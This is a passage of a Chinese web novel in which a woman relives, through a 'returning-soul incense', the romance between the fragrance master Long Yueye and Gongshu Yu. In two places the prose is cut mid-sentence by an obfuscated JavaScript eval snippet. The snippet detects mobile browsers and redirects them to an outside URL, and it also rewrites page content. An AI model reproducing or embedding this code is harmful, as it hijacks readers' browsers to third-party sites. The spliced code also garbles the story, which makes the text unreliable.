她在南滇国一战后,离开了天香殿,到处游历山河,留下了几段供人在茶余饭后遐思的八卦,在话本小说里,绝色女子大抵都会陷入乱七八糟的虐恋,而胧月夜却活的异常洒脱清净,从未见她陷入过哪段情,万叶丛中过,不带走一片桃花。 当朝探花段安郎遇到她后神魂颠倒,弃了众多莺莺燕燕不说,甚至听了她一句玩笑之语,费劲心思去崖州的绝岭深潭采沉水香,欲赠美人为礼,最后被南海的瘴气侵蚀含恨断了气,只留下一片凄绝的词赋,还不忘将托人将顶级沉香封存好送予她手中。 可当香料辗转到胧月夜手里,她只瞥了一眼,便随手丢至角落。 每次胧月夜的行踪暴露,都会引来一群有心或有色之人的追踪与探查,天天被追踪监视总会不耐烦,她将有些事看得很透,有些事已经厌倦,索性找了个与世隔绝的清净地方躲起来过日子,省得纠结。事实正是如此。 当然,无论是暗里使计或是明着行刺,公输家试图将胧月夜处决的计划均以失败告终,可见胧月夜身为一个强大的妙香师,可不是个好惹的,来一个打一个,来两个打一双,来一群打地鼠。 “我最后一次见到师父,是她派我去云都送一封密函给一个叫齐云的香师。我骑马赶至云都,可花了数日时间寻找,却仍不知她所说的齐云先生在何处。疑惑时突然想到前些日子见她神情就有些不大寻常,而明明只要三天就可往返的云都,师父却足足给了我三月的期限。” 楚恪气息尚有些不稳,手心的药盏已经凉透,渗入心底那一丝忧虑,他有些疲倦的闭上眼:“我越想越不安,放下手中事务匆匆赶回……却看见揽月峰已是一片废墟。” 有灰蛾逐着光亮,从微掩的木窗边飞进,摇摇晃晃义无反顾的撞上那一寸烛光。 不知过了多久,宋云舒听到楚恪空落落的嗓音,落在这一室昏黄,似是从很遥远的地方传来:“师父她……可能已经不在了。” 他摊开手心,是一颗盈润发光的香丸,香丸上有细微的裂纹,脆弱不堪的让人担心轻轻一碰,便会立刻化为齑粉。 那是胧月夜留给徒弟的真相——留给楚恪的返魂香。 *** 返魂香,可以在香境中让人清晰地探明过往以及记忆,是个解除疑惑的好法子。 顾千芊拿起返魂香的香丸,熟练的将它们放在薄薄的云母片上隔火薰热,一套动作下来行云流水,香雾袅袅,片刻后面前的博山炉,已被云烟缭绕半掩。 香气似冰冷丝绸,缠绕龙雀玉佩,滑过耳畔,委落肩头,凉阴阴的感觉蔓延至全身,却无法触摸。 不知是茉莉的粉香,还是莲花的清寂,或许有檀香的浓妍,还是沉水香的醇和。 片刻前似乳香温暖的甜味,倏忽又变为薄荷那芳烈的寒意,纷纷饶饶,幻影般错落一闪而过,在刚刚要分辨清晰的瞬间悄悄消散。纤细得好像飘落下来摇曳的雨丝,风一吹就散,偏又带着沉重浓稠的气息。 香气结成巨大的藤蔓,蔓藤上结出绮丽的花苞,半透明的花瓣旋转着绽放,每一朵花冠盛开到极致时,花蕊中飘出一点银色的辉光,辉光凝成一只珍珠色的蝴蝶,展开初生的柔嫩翅膀,在花中翩然飞舞。 蝴蝶的每一次振翅,洒落下星星点点琉璃色的粉尘,每一朵花冠的香气都与众不同,粉尘在空中碰撞,交汇,又凝成一种全新的香气。 顾千芊闭上了眼睛,入了幻梦中。 透过这一颗冰凉沁骨的香丸,属于胧月夜的爱恨过往走马灯一般在眼前晃动,掠过消弭。 *** 那时的胧月夜,对于随手救的公子并未放在心上,没有嘘寒问暖的贴心照料,也没有把他作囚于此的侍从使唤,近日来两人根本没见过面,错觉是她根本忘了揽月峰还有这个人。 她只吩咐过侍从将他安顿在枕霞院好好医治他的伤,转而继续自顾自的过自己的逍遥小日子,也许当时救人只是一时兴起的游戏,兴头过了,也就罢了。 这几日胧月夜都忙得自得自乐。安顿好对方的那日,她随手拿了一本散旧的调香残卷,懒洋洋的躺在寒绯樱花叶繁密的枝桠间打盹打了半宿;次日,她心血来潮折了细柳枝编了条简朴的鱼竿,拎着个藤木篓子去闲云池边垂钓;再日,她支楚恪去取了笔墨,在尔雅亭里对着一池的田田荷叶练字,墨迹未干的几幅字悬在亭檐角,风吹荷影动,一幅幅悬起的水墨字画随风轻摇,满亭墨香。 第四日,她依旧摆好墨砚在亭中练字,楚恪在一旁安静的替她匀了会墨,白衣美人轻挽起袖边一角执笔,落笔萧萧:梦者是妄身。幻者是妄念。泡者是烦恼。影者是业障。梦幻泡影业。是名有为法。 她偏开头打量了一会儿字墨,唇微微的抿紧,神情专注而认真,一旁的楚恪踌躇许久,他前几日调查清楚了那位公子的身份,竟是公输家的大公子,胧月夜和公输家尚有一笔不清楚的烂账未算,留着他在此许会引来祸端。 他早早就汇报了实情,当时胧月夜只怔了一会儿,触到了什么心事般,悠悠叹了一口气:“公输靖死后本家大乱族叔窃权,他倚靠实力不深,躲在揽月峰反而是最安全,他这么年轻,死于阴谋实在可惜。” 她虽隐居过的随性,对外界不是毫不知情,在大事上也看的明白透彻。 然后便意料之外看她没事人似的悠哉悠哉过了几日,半个字也没提住在枕霞院上的那尊大佛,一连串的纠结与担忧,似把楚恪的心架在小火上慢慢的煎着,控制不住的胡思乱想,又不知道该怎么去提,该不该提。 胧月夜重新提笔练了一幅字,练到一半,突然问了句公输公子现况如何。 楚恪刚止住了思绪不再乱想,道那位冰冷孤傲的公输少爷自被囚于揽月峰就一直郁郁寡欢,三天来没迈出屋内一步,也没说过一句话,照她的吩咐支使侍从做了饭菜端到枕霞院,对方一眼也未多瞧,除偶尔看到他埋头作画,紧蹙着眉一个人想心事,再无其他。 楚恪拿出一幅卷轴,胧月夜接过后徐徐打开,画的是大漠孤烟的苍茫之景,画笔峥峥可见风骨,画正中的美人眸如冷泉,持弓搭箭拉至满弧,白衣烈烈。而这幅画中的白衣美人,赫然是胧月夜的面容。 胧月夜敛了笑一脸惊讶:“竟然是他。” 她慢慢记起来,原来这不是初遇,那还要早,还要简单。 那时在西荒境内的大漠里,狂风云霭,孤日殷红似血,沉于绵延黄沙的尽头,她看到有个年轻的少年将军,和一群饥饿的野狼缠斗僵持了不知许久,剑意激昂咆哮震耳,难分高下各有负伤。 而那年轻人到底是血肉之躯,等体力透支怕也要落 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料不到这公子御竟是个一根筋的痴情种,不依不绕风雨无阻的大老远赶来嘉月殿来了九十九次,即便每次都被不耐的拒绝,终于到了第一百次,痴情的公子满心欢喜,特意花大价钱搞了辆风光马车欲接佳人出殿,谁料胧月夜听他说完缘由时一脸茫然:“你来了嘉月殿一百次?我怎么不记得?” 这两个问句直打击的风度翩翩的公子哥瘫软在地,据说他现场面色惨白吐出一口老血,怆然的仰天大笑三声,捡起碎了一地的琉璃心,头也不回的扎进了马车,一厢情愿的下场,可谓是凄凄惨惨戚戚。 追姑娘的时候得先搞清对方的特性,顺着对方喜好的同时,还得避免盲目做无用功,最忌肩挑担子一头热,这位公子御显然是痴情有余策略不足,但也难怪,胧月夜那样洒脱多变的性子,本来就没人看的透。 胧月夜有些头疼的揉了揉额角,抬眼望去,湖中荷叶蔓延成一条碧色的缎带,浅色的花苞亭亭而立,云淡风清,水漾叶影,颇有让人沉醉忘忧的闲景之趣。 沉吟片刻,她放下笔,不紧不慢的整了整素白的宣纸:“若不是心中大事未成,依他那样骄傲的人,定可自尽也不会容忍被幽娘子囚禁至此。沉的住气不容易,长时间这么闷着也不是个法子,罢了,我且去看看他。” 天上一轮圆月清光皎皎,地上一片樱林风流寂寂,风乍起,吹落樱花似白雪纷飞。 傍晚时胧月夜散步至公输誉暂居的枕霞院,她悄然跃到窗外樱木的梢头,拨开一簇怒放妍丽的樱花枝叶,看到院里窗内烛灯下,光辉隐照下一张清俊的侧脸。 公输誉正皱眉握着利匕,专心做机关傀儡的一个零件,随着咔嗒的榫卯相接声,他露出极淡的一丝笑,如悠沉的湖水浮开一圈波纹。 胧月夜心中一动,突然想起世人对公输誉的评价:风华内敛,偃术奇才。无怪有那么多姑娘家心念念钟情于公输家大公子,这位大公子,虽为人冷淡自傲不好亲近,可确实是有副易犯桃花的好皮囊。 小刀泛着寒光飞速刺来,她一个轻旋转身,堪堪避开,浑身所伤不过一缕耳发,稳稳的从樱树落到地上。 公输誉沉着脸站在院口,看到皎洁月色下踏出一个绰约身影,白衣美人手里提着一盏纯白色的灯,亮光幽幽,微微一抬,露出熟悉却陌生的细眉凤眼,宛如画成。 他的神色渐渐松怔开来,冷淡的面容上俱是震惊。 胧月夜一笑:“之前为救人带了幽娘子的面具,你应该没认出我,西漠一别,不想这么快就重逢。”扬了扬青瓷酒壶:“对花对酒,方不负这梨雨晚风。一个人闷在屋中空对烛影,岂非辜负了这胧月夜?” 15. 香境(二) 公输誉这一生过得坎坷。 母亲在生下他不久后便重病过世,父亲公输靖在当年苍国一战中以身殉国,公输誉少时懵懂便已成了孤儿。分家的几个叔伯明着恭敬,暗地里蔑视少年无依靠,早对家主之位虎视耽耽。 多舛的时运,寡淡的亲缘让公输誉早早懂事坚强,凭着为人惊叹的偃术天赋,这位年纪轻轻的少主人以实力堵住了族中长老的悠悠之口,心智坚忍或更胜其父。 公输誉执掌公输家后不久,堂伯公输霆与和本家积怨已久的机甲术世家云家暗中勾结,试图叛变夺权。 公输誉在不久前被云家贼人所擒意欲灭口,谁料撞见胧月夜来了场英雄救美,后又将人直接拐进了揽月峰,云家再老谋胜算,当初都未料到公输誉还活着。 顾千芊想起来了,若是她没有记错,不久前公输誉刚刚处理了家族的一起叛乱,传闻从小抚养他长大的云姨就是云家远房一脉的孤女云晚歌,被公输霆利用,在公输家暗藏数年只为全族报仇雪恨。 而公输誉在此战中理智冷酷,被多年养育情分绊住手脚,先是暗中将云晚歌插在本家府邸的细作调动为自己的暗卫发散假密信,再明着声东击西将云家的前锋弟子引入陷阱来个瓮中捉鳖,一环扣一环,仅用了七天便化解了这场来势汹汹的内忧外患。 云晚歌自尽,与云家勾结的堂伯公输霆被秘密软禁,谁能猜到这个尚年轻的家主狠心果决如此。现今公输家的弟子们提起家主当时的运筹帷幄,谈笑间敌军灰飞烟灭都是一脸神往,血雨腥风已远去,只留族史中一笔朱色批注。 这么一个莫得感情将权术玩弄于鼓掌的大公子,见了任何姑娘都是清肃着一张冰块脸,唯独这次似有些不同,若是对救命恩人念念不忘还可以理解为因着感激,但闲来作美人图以慰相思这个举动,怎么看来都是或多或少动了点心思。 迟钝如楚恪也看出公输誉待她是有微妙不同,而胧月夜愣是未看透这个因果,不是由于性子散漫惯了的忽略,或许是根本不晓得原来还有这层意思。 顾千芊透过返魂香的梦中看到这一段过往感慨,这真是……世上万物皆有逻辑,只有风花雪月最无迹可循。 *** 白衣美人道自己单名一个月字,是为了避个麻烦的仇家不得出山,只隐居在这揽月峰。 那夜对花对酒畅谈也算轻松愉快,她以往一喝酒就懒洋洋只想躺着打盹,这次却聊到半夜仍精神奕奕。 离开前赠他几本自己闲时编的机关册子供消遣,册子里夹着一把钥匙,一边嘱咐他伤没好尽量不要乱走动,这把钥匙通的是枕霞院旁的藏书小阁,闲来无事可以去看书解闷,公输誉也只淡淡道了谢,并未言其他。 事后侍从来禀告公输誉的现况,说公输公子近来心情渐好,常去书房处转转,偶尔也练字画画,胧月夜偶尔翻开书房里几本她胡乱撰写的游记,发现上面都夹了些新奇有趣的书签批注,散在书缝隙的几局残棋绘图都被他一一解开,且工整的理好并标明。 凉月悠悠,照进小筑里一张轻塌,一架绣了折枝桃花的枕前小屏,胧月夜半倚在塌上,放下书抿了口清茶,在心中悄然一笑,秀致的眉微挑:“这人倒是比想象中的有趣。” 此后她常常邀公输誉来尔雅亭处下棋,或是讨论机关傀儡的构造,他也都是应承了,不过几日两人关系已融洽不少,恰如久别重逢的挚友,颇有几分相恨见晚惺惺相惜的意味。 尔雅亭乃是胧月夜亲手绘图筑造的得意之作,六方飞翘的檐角都松松挂了个铜铃,风一过清朗动听。湖岸边菖蒲飘荡,远远望去的精致亭子像平铺绿意上摇曳的花苞。公输誉于亭台筑造一道也是见解独特,交流探讨了半晌,就让她心服口服生出几分敬佩。 两人一起在原来的亭阁基础上添了几道工序。河岸边和尔雅亭旁各多了一尊敛翅独立的白鹤傀儡雕像,一触及河岸边的鹤雕开关,立马会从湖水深处缓缓升起玉石台阶,从河岸边一直蔓延到湖正中的尔雅亭。 等踏上玉阶到达亭子,再解开亭旁另一只傀儡白鹤所设的机关术,一整排长长的阶梯便渐渐沉于水面。尔雅亭失了与外界相连的通道,如一方与世隔绝的小小天地,风过铃动,別有一番谐趣。 胧月夜不喜炎热,一到夏日便只恹恹躲在置了冰块的屋内,下棋练字的兴致也失了大半。 公输誉心思细致,在尔雅亭六个飞檐各置了特殊的傀儡机关,可将周围 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15107050|163925||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的湖水抽高化成雨幕,珠帘一般淅沥滴垂散落在亭的四面,即便在酷暑日也是凉爽非常。胧月夜惊喜的看着如水雾琉璃阁的雨幕亭,谢答甚妙。 两人时常一起在尔雅亭,或饮酒言欢,或习字下棋,有几幅装裱好的书法高高挂在亭边,有的疏狂凛然大气,有的是温婉秀丽的簪花小楷,新摹的一幅在青石桌上铺开来,墨迹未干:“无事需寻欢,有生莫断肠。遣怀书共酒,何问寿与殇。” 笔锋清韵难得。 胧月夜见公输誉看的出神,搁笔道不过是模仿大家的业余闲聊之作,见笑了。 聊到北方的黄沙萧瑟,南方的密林葱茏,西方的茫茫大雪,东方的沧海奔流。 芜城鉴酒场,云都的上巳花会,亦或是各地的奇人轶事。 公输誉看出她面有遗憾之情,顿了顿:“若是你感兴趣,以后一定有机会去看看。有公输家相助,躲避仇人亦非难事。”胧月夜只笑而不答。 胧月夜在饮酒一路是好手,可于酿酒一道却是一头雾水,费时费力了也摸不清门道,正巧公输誉在酿酒之事上也略有涉猎,他道昔年看《阜宁县志》,上面说云梯关东南方向有七星泉,人称之为“淮北第一泉”,泉水酿酒甚美,酒名“金盘露”,曾是某朝贡品。 酿好酒要先有清澈甘美的泉水,胧月夜闻言派一侍从千里迢迢从云梦山深处开泉取水,几道工序照旧不变,酿出的酒与先前大相径庭,果然清冽可口。 公输誉的闲暇兴趣是钻研精密机关锁,这时胧月夜会在一旁支颌静静看着他,有时还会上前指点最快的步骤,偶尔还会拿自己琢磨的傀儡锁让他试着解解。 相安无事过去了三个月,只有一旁看着他们相处的楚恪觉得不妥,融洽只是目前的表象,公输誉心志不在此,终究是要离开揽月峰回本家夺权,不定什么时候得知胧月夜的真实身份,而他知道现在自己做什么都是徒劳,也不清楚两个人之间的关系究竟近到了什么程度。 胧月夜半时,她闲来会躺在寒绯樱的枝桠间,隔着窗纱隐约看公输誉专心做机甲傀儡的侧颜,两人在尔雅亭相处,她偶尔也会怔怔看着他,当他的眼眸要从字画上抬起时,再不经意的将视线移向远处的翠色菖蒲。 16. 香境(三) 静好的岁月那样短暂,如大漠尘沙累成宛如真实的景致,让人迷惑,而何时乍起的风一拂,便立刻摧拉枯朽。 天朗气清,惠风和畅,胧月夜和公输誉相约在尔雅亭里喝茶下棋,亭旁莲香隐隐,亭外鸟鸣涧涧,亭内有美人轻笑落棋,看对面的玄服公子沉吟抿茶,是副好画景。 棋盘上黑白纵横,依两人平日的棋艺不耗多时难分高下,她托腮抬眸看他冷肃的沉思面容,纤细的手指把玩着润玉棋子,有一搭没一搭的懒懒敲在石桌上,声响清碎。 青衣侍从在这时匆匆赶过来,在胧月夜耳畔低低说了几句,她脸色倏忽一变,对上他询问的目光,只巧妙掩于歉然一笑,道了句有急事便匆匆离开,白衣一闪已随傀儡小童离开湖边,脚步瞧着竟有些慌乱。 她今日派了楚恪去山下打探公输家的现况,在揽月峰守卫的只有几个傀儡小童,到了远离尔雅亭和枕霞院的峰谷,发现竟是厮杀遍野一片狼藉,倒下的傀儡护卫们凌乱交错的肢体苍白僵硬,她的脸一寸寸冷下去,入侵者们一色的玄墨劲装,衣摆处隐约现出银色龙雀的纹路。 美人凌空跃起,身姿翩然,夺过一公输家弟子手中的长刀反劈,刀刀凌厉干脆,白衣沾上一点殷红,似泛滥开的一朵妖娆红樱。 训练有素的公输弟子们毫不慌乱,一排排箭矢从暗处飞来,她以刀格挡,“这么快就找到这里,看来公输霆也不是个脓包。” 突的一阵眩晕,一支箭擦过肩头。 她甚少受伤,此刻也是多了几份骇然,得晓这回来的都是公输家不容小觑的精英。 忽见熟悉的黑色衣影一闪,凌冽的剑光将密集的箭矢阻于半空,依旧是冷淡疏离的神色,玄服青年挡在她身前,她看到那熟悉的背影,话哽在喉,没有勇气提问,心底微弱的火光被掐断在涌上的无措荒乱中,持剑的指尖未曾发觉的不住发颤。 公输誉沉默的转身,剑光挽了个弧度指向她眉心,沉稳冷峻依旧是那个手腕铁血的少年主公,她的脸骤然煞白,表面却无所谓一笑:“你知道了?” 他的剑向前抵进了几分,缓缓道,似乎在自嘲:“原来你竟是妙香师胧月夜。” 不远处的樱花簌簌飘落,似初春里一场姗姗轻雪。美人皱眉叹息,那模样比樱花雪寂还要漠漠然触人心弦:“自欺欺人了这么久,也是该清醒的时候。可有时候这么糊涂的活着,却比清醒时要舒心多了。” 公输誉盯着她看了片刻,冷笑:“你明知我身份仍将我囚于此地,不过是作为一场新奇的游戏罢了。” 面具被撕碎,他苍白的脸上是显然的怒意:“前朝探花段安郎,云州城的公子御,现在又是我,冷眼看别人不明真相付出真心费力讨好,把情感肆意践踏,这就是你的乐趣?看他人陷入独角戏中无法自拔,受挫失去冷静,你就称心如意了?” 他的话向来少,天性淡然,从来是泰山崩于前而不改色,从来没有如此失态。 她的唇紧紧抿起,直直看着他:“世人如何看我,与我无关,可你也是这么看我的?若我说,一开始我并不知道你的身份,只是为了救人,后来不说破,只为留你久一点,你信不信?” 他冷冷道:“你凭什么要救我,我不相信你是多事慈悲之人。” 他眸中挣扎的恨意是如此复杂,那双凌厉漂亮的眸子,平日里沉静的如冬日的冰湖,现今却有惊涛骇浪,她盯着他的眼睛,却突然恍了神。 一到春日来临,揽月峰顶的那株古樱木从根底焕发出勃勃生机,一直染上细枝桠尖的浓丽樱花。一抹渺渺的笑从唇边漾开,漾至脸颊,映入眼底,春色蔓延开的惊艳。 为什么心头会涌上异样的担心,为什么胸口会发闷,为什么最近总想见到他,为什么偏偏待他与别人不同……也许是这样,原来是这样。 她伸手握住剑锋,勒出一道血痕,将剑偏移了几分,抵在心脏的位置:“你若是想要我的命,就拿去罢。”定定的看着他,刀剑厮杀声隔绝于耳,她从不顾忌太多,只想要求一个答案。 他脸色苍白,手中的剑一直在抖,迟迟刺不下去。她稳稳向前进一步,他便匆匆退一步。 公输誉忆起,大漠孤烟里烈烈白衣在眼底的烙印,月影下樱花美人一笑的悸动,或是赌书泼茶,探讨傀儡机关时的默契。 胧月夜突的舒颜抿唇,有些促狭的意味:“看来,你果真喜欢我。” 她闪烁的眸光实在太耀眼,不远处的樱花开的那样繁密娇艳,隐蔽了那一抹萌开的枝尖绿意,那抹绿意似乎也悄悄的在他心底挣扎,破开。 漫天的箭矢又一轮袭来,胧月夜一拉住他,一个旋身,等他回过神来,发现已经身在一处未知的河舟上,机关遍地的揽月峰内,竟还藏着这么一条暗河,暗河上时刻有隐蔽的小舟待命。狡兔三窟的胧月夜,永远会在绝境中给自己留意料之外的后招。 她如常冷静,沉声道:“公输霆想把我们一网打尽,我们再待在此处都有危险。” 她受伤不轻,气色却好了很多,身后传来哗啦啦的异声,公输家的侦查傀儡蝙蝠飞进洞口来,密集的聚在半空,挡住了前进的视线。 胧月夜冷哼一声,袖中弹出一枚香丸,在蝙蝠群中炸开,傀儡兽嘈杂冲撞,四散开来。 胧月夜松下了警惕,随意的把桨递给他,体力不支虚虚靠在船头休息,闭上眼,耳畔是潺潺的舟过流河声,公输誉的表情晦暗不明,秀白纤细的脖颈就在不远处,触及腰间冰凉的暗器,那阵冰凉一直蔓延到心底。 一时间俱是寂静。 小舟在幽暗的角落里不知顺水流了多久,眼前才豁然开朗。 *** 暗河尽头的静花谷是胧月夜另一所隐居之地,庭院房屋格局竟和揽月峰无甚差别。 到楚恪回来找来静花谷问明缘由时,已经过去了整整五天,这五天内两人没见过面也没说上话,又回到了在揽月峰的初时时光,互不相扰。 至于为什么能在沉默中达成共识,胧月夜心底清清楚楚,一是自己救过他的命,依他的性子就算想手刃仇人也不会趁人之危,再则外头的情形不知如何,还不到出门打探的时机。 冷战也罢,愤恨也罢,随对方蜗居在屋内不理不睬不管不顾,她依旧是那样冷情潇洒的性子,月照赏酒照喝书照看,一点儿看不出是个伤了情的大姑娘,一日兴致来了画个帖子邀公输誉一起来探讨傀儡机关,画贴就如坠入湖心不见波澜的石头,她听楚恪说公输公子冷冷回绝时,愣神片刻后却也只是笑笑,未皱过半分眉头。 只有从小跟在她身边长大的弟子楚恪知道,胧月夜对外一直是对任何事都满不在乎的表情,但他清楚哪些细微的变化才是她高兴时,难过时。 遥想水阁雨幕淅沥如珠帘,白衣美人和翩翩公子对饮畅谈的一景像是一幅画,她偏开头托着腮听,是难得投入的认真。 虽然师父不说,但楚恪的心替她有点微微的疼,师父也会伤心的啊。 夜色已深,傀儡侍从在小筑内安了个绣着饱满斜枝樱花的屏风,屏风前是一铺清凉碧色的藤木卧塌,胧月夜正倚在这藤木塌上,手中执着一壶酒,已有醉意,白色的衣裙在夜风中翻飞轻扬,恰如樱花在瞬间凋零与绽放,清丽的身姿透出些许萧索的意味。 她支起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15107051|163925||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身子,抬眼看着卧塌旁有一个玲珑纤细的白玉瓷瓶,瓶里插着几枝刚折下的樱花。白衣美人揉了揉额角,指尖轻触过那些艳丽张扬的花朵,想到了什么,轻轻笑了一声,举起酒壶,又将壶中的清酒一饮而尽。 席卷的夜风有凛然的寒意,宽大的屏风将夜风挡在外,但她还是觉得有些冷,已空的青瓷酒壶被随意的搁置在塌上,正打算起身时,不远处隐约有莹莹的光,光旁站了个人影,也不知站了多久,是楚恪提着盏夜灯,叹了口气坐下。 如果喝的是青梅一类的果酒,那说明师父近日心情颇佳,一切安好。如果喝得是女儿红玉琼醴等米酒,那说明偶有烦心事。如果喝得是竹叶青九酝春,那说明实在是烦躁异常。——今日却是最烈的烧刀子。 “独自饮闷酒,这可不是师父的作风。” 公输誉本是个浮萍过客,救他护他,待伤好后就放他离开,将这一段错误的相遇慢慢消弭于记忆中,这本是规划好的剧本。 谁料公输家的重兵竟找到这里,谁料真相是苦苦思慕的女子是本家不共戴天的仇人,谁料两人会生这一段纠缠不清的情。 要么直接找公输誉坦白,既两情相悦,那他便促成个时机,这个事上头,师父的思虑太重,一心顾虑着公输誉,曲折到失了往日的豁然。 或因恨快刀斩乱麻,彻底断了念想。无论哪一种,都比像她这样拖着强些。 亭间是微醺欲醉的酒香,她的笑容一如既往的无懈可击:“朗月疏风,醇酒醉人,无可奈何,恰好适合思人饮独酒,为何不是为师的作风?” 簌簌的风吹过庭院,楚恪知劝酒无用,默默的在她身边坐下,他从未想过师父这样闲云野鹤般的性子,会爱上哪个男子,她在感情一字上纯粹得很,也执着得很。 如烟雨小镇共举伞避雨的那份青涩朦胧,也可以如凤凰涅槃那般轰烈炽热。 它来的时候像争先恐后钻进鼻中的酒香般无法抵挡一醉,它走的时候又像无可挽留的指尖流沙般悄然而决绝。 顾千芊的神识在返魂香显示的往事中沉浮,清晰的感受到每个人的情绪,浮浮沉沉如生动的剧目,针扎了一般让她的心有隐隐的难受。 如果有人问,若是你一直喜欢仰慕一个姑娘,后来却发现她其实是你最鄙夷的在外人看来声名狼藉的妖女,而且她还一直骗了你,会怎么做? 所谓爱之深恨之切,镜像破碎后的尖锐残片总会割伤人,很多人喜欢在自己的心仪对象上加诸许多美好的光环,其实我们喜欢一个人,一幅画,一首诗,不是因为这个人,这幅画,这首诗本身有多美好,而是在他们身上勾勒出自己梦境中一抹飘渺又清晰的虚影,就似一面镜子,照出自己期待的模样。 归梧曾听过有个年少成名的剑客,剑术超绝风流倜傥,一拨一拨的姑娘前仆后继直将他捧到天上去,后来爆出消息得知他在剑术大赛上夺魁是因为贿赂造假,长得帅气是因为找画皮师易了容,到最后批他批的狗血淋头的恰恰是之前捧他捧的最热烈的爱慕者们,爱有多深痛有多深恨也就有多深,实在让人唏嘘。 脑海里有个声音继续问,那若是你还喜欢这个姑娘,这个姑娘也喜欢你,而且她并不和传闻中那样糟糕呢? 归梧想她肯定会毫不犹豫,这就没事了嘛,有这么漂亮的姑娘喜欢自己,高兴都来不及,骗多少次不是重点,都是可以商量着原谅的呀。 两情相悦多不容易啊,运气好遇上了就得惜缘。 不知道公输誉怎么想,感情这种事,缘分和形势缺一不可,公输誉和胧月夜之间纵使有再粗的红线,不知能不能抵得上家仇国恨这把火。 17. 香境(四) 天空飘着小雨,青山间隔着一层薄薄的水雾,似笼着轻纱般飘渺,不可捉摸。 伸至湖面压低的樱树枝杈上,坐着艳丽的白衣女子,她长的确实美,肤白如羽,唇红似莲,一只手拿着画幅卷轴,另一只手拿着一根苍木树枝无聊的打着转。 有蝴蝶围绕在树梢上下翩翩起舞,她赤着足也不觉得冷,坐在枝桠上用足尖划开碧湖无澜的水面,漾来一圈一圈的波纹。 公输誉推开门扉,湿漉漉的山林气息铺面而来。 老远就看到那一袭白衣,顿了顿打算不理会,转过身打算离开。 反倒是树上的胧月夜噗嗤一笑,丢开树枝握紧卷轴跳下树,挡在他面前拦住路,试探着问:“还在生气?” “……”他看着她手上的画幅卷轴,皱了皱眉。 胧月夜低下头,慢慢的将手中的画卷摊开,正是他先前画的那副,大漠孤烟,持弓的白衣美人衣袂翩飞,冷艳不可方物。 她的眼中溢满笑意,耀眼的清丽逼人:“许久前的一次偶遇,为何你记到现在?” 她在他面前踱了几步,趁他不注意突然抬手,轻佻的勾起他的下巴,十足的风流:“口是心非,言不由衷,端一副沉默高深的样子,把所有情绪藏起来,烂在心底,坦白点就会要了你的命?。 公输誉眯了眯眼睛警告:“放手。” 胧月夜轻声道:“你心里还是有我的,对不对?” 他伸手握住她挑起的指尖,微恼:“够了。” 她又一笑,像个破罐子破摔的无赖:“躲着不见我,见了我又没好脸色,使出浑身解数想讨好我的少爷公子如过江之鲫,就是你这么一副不生气也冷冰冰的模样,”微微偏开头来,那无奈而期待的面容,竟透着几分天真:“可是,我偏偏就喜欢。” 他愣怔住,看着她仔细的收好画卷,抿着唇继续笑着道:“你不理我,我就继续缠着你。”顿了顿:“我们和好,好不好?”尾音有讨好的意味,她一眨不眨的看着他的反应。 眼神中有类似挣扎的情绪一闪而过,公输誉足足愣了半晌,突然头也不回的转身离开。 留下胧月夜一个人在原地发呆,她想过无数种可能,或是恼羞成怒当场斥责她不要脸甩袖而走,或是表明心意误会尽除皆大欢喜,可这是,落荒而逃? 她轻叹一声,揉了揉眉心,似在自嘲又似在安慰自己般,喃喃自语:“可笑啊。为情所困的人,来时候迟疑了没有伸手,去时拼命握紧拳头想要挽留。不够果决的人,不够坚定的人,不够勇敢的人——都留不住它。” 君若智,视吾为风月,君若愚,鄙吾为蝼蚁;吾若智,甘为蝼蚁,吾若愚,只争风月。 小雨渐渐下大了,打在脸上湿漉漉了一片,她懒得去抹一把,抱着膝蹲在樱花旁边发呆,丝丝凉意从赤足底透上来,世间有人万般讨好死缠烂打忠贞不渝,有人撕心裂肺痛彻心扉轰轰烈烈,而她只是静静的叹了一口气,你若无情我便休,往事如昨易白头,我爱了,你随意。 不过今晚,还是喝他个几壶最烈的烧刀子压压惊。 片刻后,她揉了揉蹲久了有点酸痛的膝盖打算起身,眼前突然出现一双自己的绣鞋,鹅黄色软边,提鞋的手指节修长,声音里听不出情绪:“不怕着凉?” 她看着对面的人影,玄服青年表情依旧冷淡,有些不自在的别过脸去,胧月夜没有说话,只是起身慢慢靠近,将头深深窝在他的怀里,手有些颤抖,越抱越紧。 仿佛雨幕也不再是那么冰凉。 她在他怀中突然闷闷一笑:“你说,你有见过像我这般厚颜的姑娘吗?” 公输誉回搂住她的腰,抚上她鬓角的簪花,唇角贴在她的耳畔:“你说呢?”话语间依旧淡淡的没有情绪,却有几分无法察觉的温柔。 静静的不再言语,眸中清晰的映出她一人的影子,就这么猝不及防的闯入他眼中,像尘封的荒原破开的一抹生机勃勃的绿意,背后仍是千年不变的寂寂寒夜,漫天冰雪。只有她的笑,但这已经够了。 细雨樱花树下,两人相拥的影子渐渐遥远,最后淡成了眼中的微光。 *** 顾千芊抬眼看着那记微光消失前的散影,浅浅夕阳,晕开一株樱花树朦胧而秀挺的影子,风渐起,几瓣樱花乍然飘下,胧月夜白色的衣裙在风中摇曳,消失在淡色的花雨中。 五光十色的场景在眼前迅速的变换,一幕连着一幕,天空中开始飘落樱花,浅色的花朵眼看着就要飘到到掌心,却突然凝滞,漫天花雨刹那固定在半空中,眼前的场景骤然变换。 